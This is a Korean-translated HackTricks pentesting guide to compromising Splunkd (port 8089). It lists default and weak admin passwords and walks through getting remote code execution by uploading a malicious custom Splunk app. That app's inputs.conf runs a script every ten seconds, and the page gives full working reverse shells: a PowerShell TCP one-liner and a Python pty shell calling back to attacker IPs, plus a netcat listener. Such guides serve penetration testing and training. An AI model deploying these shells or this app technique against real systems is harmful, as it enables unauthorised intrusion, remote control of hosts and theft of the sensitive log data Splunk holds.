8089 - Pentesting Splunkd

Support HackTricks

기본 정보

Splunk는 데이터 수집, 분석 및 시각화에서 중요한 역할을 하는 로그 분석 도구입니다. 초기 목적은 SIEM(보안 정보 및 이벤트 관리) 도구로 사용되는 것이 아니었지만, 보안 모니터링비즈니스 분석 분야에서 인기를 얻었습니다.

Splunk 배포는 종종 민감한 데이터를 저장하는 데 사용되며, 시스템을 침해할 경우 잠재적인 공격자에게 귀중한 정보 출처가 될 수 있습니다. 기본 포트: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

기본적으로 Splunk 웹 서버는 포트 8000에서 실행됩니다.

열거

무료 버전

Splunk Enterprise 체험판은 60일 후 무료 버전으로 전환되며, 인증이 필요하지 않습니다. 시스템 관리자가 Splunk의 체험판을 설치하여 테스트하는 것은 드문 일이 아니며, 이는 그 후 잊혀지곤 합니다. 이는 인증이 전혀 없는 무료 버전으로 자동 전환되어 환경에 보안 구멍을 초래합니다. 일부 조직은 예산 제약으로 인해 무료 버전을 선택할 수 있으며, 사용자/역할 관리가 없다는 것의 의미를 완전히 이해하지 못할 수 있습니다.

기본 자격 증명

구버전의 Splunk에서는 기본 자격 증명이 **admin:changeme**로, 로그인 페이지에 편리하게 표시됩니다. 그러나 최신 버전의 Splunk설치 과정 중에 자격 증명을 설정합니다. 기본 자격 증명이 작동하지 않는 경우, admin, Welcome, Welcome1, Password123와 같은 일반적인 약한 비밀번호를 확인해 볼 가치가 있습니다.

정보 얻기

Splunk에 로그인하면 데이터를 탐색하고, 보고서를 실행하며, 대시보드를 생성하고, Splunkbase 라이브러리에서 응용 프로그램을 설치하고, 사용자 정의 응용 프로그램을 설치할 수 있습니다. 코드를 실행할 수도 있습니다: Splunk는 서버 측 Django 애플리케이션, REST 엔드포인트, 스크립트 입력 및 경고 스크립트와 같은 여러 가지 방법으로 코드를 실행할 수 있습니다. Splunk 서버에서 원격 코드 실행을 얻는 일반적인 방법은 스크립트 입력을 사용하는 것입니다.

또한, Splunk는 Windows 또는 Linux 호스트에 설치할 수 있으므로 Bash, PowerShell 또는 Batch 스크립트를 실행하기 위해 스크립트 입력을 생성할 수 있습니다.

Shodan

  • Splunk build

RCE

사용자 정의 애플리케이션 만들기

사용자 정의 애플리케이션은 Python, Batch, Bash 또는 PowerShell 스크립트를 실행할 수 있습니다. Splunk에는 Python이 설치되어 있으므로, Windows 시스템에서도 Python 코드를 실행할 수 있습니다.

Splunk 패키지를 사용하여 도움을 받을 수 있습니다. 이 리포지토리의 bin 디렉토리에는 PythonPowerShell 예제가 있습니다. 단계별로 진행해 보겠습니다.

이를 달성하기 위해, 먼저 다음 디렉토리 구조를 사용하여 사용자 정의 Splunk 애플리케이션을 생성해야 합니다:

tree splunk_shell/

splunk_shell/
├── bin
└── default

The bin 디렉토리에는 우리가 실행할 스크립트가 포함될 것입니다 (이 경우 PowerShell 리버스 셸) 및 기본 디렉토리에는 우리의 inputs.conf 파일이 있을 것입니다. 우리의 리버스 셸은 PowerShell 원라이너가 될 것입니다:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

The inputs.conf 파일은 Splunk에 어떤 스크립트를 실행할지 및 기타 조건을 알려줍니다. 여기서 우리는 앱을 활성화로 설정하고 Splunk에 스크립트를 10초마다 실행하도록 지시합니다. 간격은 항상 초 단위이며, 이 설정이 존재할 경우에만 입력(스크립트)이 실행됩니다.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

우리는 애플리케이션이 배포될 때 실행되고 PowerShell 원라이너를 실행할 .bat 파일이 필요합니다.

다음 단계는 Install app from file을 선택하고 애플리케이션을 업로드하는 것입니다.

악성 사용자 정의 앱을 업로드하기 전에 Netcat 또는 socat을 사용하여 리스너를 시작합시다.

sudo nc -lnvp 443

listening on [any] 443 ...

On the Upload app page, click on browse, choose the tarball we created earlier and click Upload. As 우리가 애플리케이션을 업로드하는 즉시, a 리버스 셸이 수신됩니다 as the status of the application will automatically be switched to Enabled.

Linux

If we were dealing with a Linux host, we would need to edit the rev.py Python script before creating the tarball and uploading the custom malicious app. The rest of the process would be the same, and we would get a reverse shell connection on our Netcat listener and be off to the races.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

다음 페이지에서는 이 서비스를 악용하여 권한을 상승시키고 지속성을 얻는 방법에 대한 설명을 찾을 수 있습니다:

Splunk LPE and Persistence

References

Support HackTricks

Last updated